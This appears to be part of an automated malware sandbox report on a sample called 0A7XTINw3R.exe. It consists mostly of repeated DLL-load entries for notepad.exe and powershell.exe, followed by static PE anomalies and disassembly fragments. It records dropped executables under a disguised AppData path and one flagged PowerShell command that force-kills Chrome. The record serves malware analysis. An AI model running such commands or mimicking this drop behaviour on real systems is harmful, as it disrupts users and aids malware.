Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 0A7XTINw3R.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 0A7XTINw3R.exe

Static file information: File size 5129728 > 1048576

Source: 0A7XTINw3R.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x244a00
Source: 0A7XTINw3R.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x25ca00

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Process chrome \| Stop-Process -Force
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Process chrome \| Stop-Process -Force			Jump to behavior

Source: 0A7XTINw3R.exe	Static PE information: section name: .xdata
Source: 0A7XTINw3R.exe	Static PE information: section name: .symtab
Source: winclock.exe.0.dr	Static PE information: section name: .xdata
Source: winclock.exe.0.dr	Static PE information: section name: .symtab
Source: malnotify.exe.0.dr	Static PE information: section name: .xdata
Source: malnotify.exe.0.dr	Static PE information: section name: .symtab

Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Code function: 12_2_00FAF7FB push eax; retf	12_2_00FAF80A
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Code function: 12_2_00FADA2B push ecx; retf	12_2_00FADA39
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Code function: 12_2_00FAF0A8 push ecx; retf	12_2_00FAF0A9
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Code function: 26_2_00B6F052 push es; iretd	26_2_00B6F054
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Code function: 26_2_00B6D9D8 push ecx; retf	26_2_00B6DA39
